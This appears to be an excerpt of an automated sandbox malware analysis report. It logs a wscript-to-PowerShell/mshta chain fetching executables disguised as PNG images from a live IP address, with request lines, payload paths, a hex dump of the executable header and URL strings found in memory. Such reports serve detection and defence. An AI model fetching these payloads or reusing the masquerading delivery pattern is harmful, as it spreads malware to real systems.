Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Image file has PE prefix: HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Sun, 06 Oct 2024 18:12:58 GMT Accept-Ranges: bytes ETag: "08ec05f1b18db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 13:07:55 GMT Content-Length: 7679488 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 53 00 00 10 00 00 00 0c 52 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 66 a3 01 00 00 e0 53 00 00 a4 01 00 00 1c 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 55 00 00 02 00 00 00 c0 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 a0 55 00 00 02 00 00 00 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 64 72 79 75 6a 6d 70 00 70 21 00 00 60 8e 00 00 66 21 00 00 c4 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6e 79 75 64 67 75 75 00 10 00 00 00 d0 af 00 00 02 00 00 00 2a 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 70 64 61 74 61 00 49 00 10 00 00 00 e0 af 00 00 02 00 00 00 2c 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: image/pngLast-Modified: Sun, 06 Oct 2024 18:12:58 GMTAccept-Ranges: bytesETag: "08ec05f1b18db1:0"Server: Microsoft-IIS/10.0Date: Wed, 18 Dec 2024 13:07:55 GMTContent-Length: 7679488Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 53 00 00 10 00 00 00 0c 52 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 66 a3 01 00 00 e0 53 00 00 a4 01 00 00 1c 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 55 00 00 02 00 00 00 c0 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 a0 55 00 00 02 00 00 00 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 64 72 79 75 6a 6d 70 00 70 21 00 00 60 8e 00 00 66 21 00 00 c4 53 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6e 79 75 64 67 75 75 00 10 00 00 00 d0 af 00 00 02 00 00 00 2a 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 70 64 61 74 61 00 49 00 10 00 00 00 e0 af 00 00 02 00 00 00 2c 75 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /FF/CMD.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/1.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/M.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive

Source: Joe Sandbox View

ASN Name: SELECTELRU SELECTELRU

Source: global traffic	HTTP traffic detected: GET /Windows-Update HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Windows-Update/ HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.113.115.178Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178

Source: global traffic	HTTP traffic detected: GET /FF/CMD.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Windows-Update HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Windows-Update/ HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/1.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FF/M.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive

Source: powershell.exe, 00000000.00000002.1398119271.000002611DEEF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1398119271.000002611E1D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018129221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018129604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178
Source: powershell.exe, 00000009.00000002.1778363589.0000018125F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/1.png
Source: mshta.exe, 00000006.00000003.1454550626.000002071D246000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454110960.000002071D243000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454360139.000002071D245000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454807348.000002071D249000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454703300.000002071D247000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/1.png$TC=$TC.replace(
Source: powershell.exe, 00000009.00000002.1783626763.0000018128821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/1.pngX
Source: powershell.exe, 00000000.00000002.1398119271.000002611CDB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/CMD.png
Source: powershell.exe, 00000009.00000002.1783626763.000001812925B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1908325708.000001813FF6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/FF/M.png
Source: wscript.exe, wscript.exe, 00000003.00000002.1406708492.00000180CD059000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404358003.00000180CCE0E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404641181.00000180CCE11000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1405102980.00000180CD058000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404685124.00000180CCE17000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1403969928.00000180CCE01000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404117477.00000180CCE0D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1406487328.00000180CCE18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows
Source: mshta.exe, 00000006.00000002.1471530223.000001FF1AF60000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446357979.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update
Source: mshta.exe, 00000006.00000002.1474352113.0000020721690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update(
Source: mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/
Source: mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/$
Source: mshta.exe, 00000006.00000003.1453997972.000001FF1B016000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/...
Source: mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/2
Source: mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/B
Source: mshta.exe, 00000006.00000003.1446046858.000001FF1B016000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471780062.000001FF1B027000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454251665.000001FF1B025000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B016000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/C:
Source: mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/V
Source: mshta.exe, 00000006.00000003.1452766022.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1474206400.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446601614.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454082054.000002071D39D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/X
Source: mshta.exe, 00000006.00000003.1455508433.000002071D24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/a
Source: mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/h
Source: mshta.exe, 00000006.00000003.1454110960.000002071D243000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454360139.000002071D245000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/http://176.113.115.178/Windows-Update/
Source: mshta.exe, 00000006.00000002.1471624974.000001FF1AFD8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446046858.000001FF1AFD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/indowsINetCookiesX
Source: mshta.exe, 00000006.00000003.1449696142.000002071D3AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446601614.000002071D39D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/la
Source: mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/r
Source: mshta.exe, 00000006.00000002.1471570938.000001FF1AF86000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470843483.000001FF1AF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/t
Source: mshta.exe, 00000006.00000003.1452766022.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1474206400.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446601614.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454082054.000002071D39D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update/xLMEMPx
Source: mshta.exe, 00000006.00000003.1452725769.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471600916.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446357979.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Update;v
Source: mshta.exe, 00000006.00000002.1472055274.000001FF1B1D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateData
Source: mshta.exe, 00000006.00000003.1446046858.000001FF1AFA1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471624974.000001FF1AFA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateE
Source: mshta.exe, 00000006.00000003.1452725769.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471600916.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446357979.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateGIB
Source: wscript.exe, 00000003.00000002.1406708492.00000180CD059000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1405102980.00000180CD058000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471476987.000001FF1AF10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateH
Source: wscript.exe, 00000003.00000003.1404714612.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1405913402.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404358003.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404907085.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateLMEM
Source: mshta.exe, 00000006.00000002.1471530223.000001FF1AF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdateWinsta0
Source: wscript.exe, 00000003.00000002.1406736200.00000180CE760000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updateai
Source: wscript.exe, 00000003.00000003.1404714612.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1405913402.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404358003.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404907085.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-UpdatebjDdjedlfIhhCKHZRVAp.exe
Source: mshta.exe, 00000006.00000002.1471530223.000001FF1AF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updatej
Source: wscript.exe, 00000003.00000003.1404714612.00000180CCDE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404358003.00000180CCDE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1405913402.00000180CCDE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404907085.00000180CCDE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updatekr
Source: mshta.exe, 00000006.00000002.1471530223.000001FF1AF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/Windows-Updatemshta
Source: svchost.exe, 00000008.00000002.1830456339.000001E5BAA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1444469543.000001E5BAC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000000.00000002.1420389043.000002612CD39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1420389043.000002612CBF6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1398119271.000002611E584000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.00000181296AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1895875471.0000018137DA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1895875471.0000018137C65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.1398119271.000002611CB81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018127BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1502524453.000001992ACF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000B.00000002.1567277562.0000019943173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: mshta.exe, 00000006.00000003.1449465659.000001FF1B03E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470637539.000001FF1B054000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1451486048.000002071D31B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com
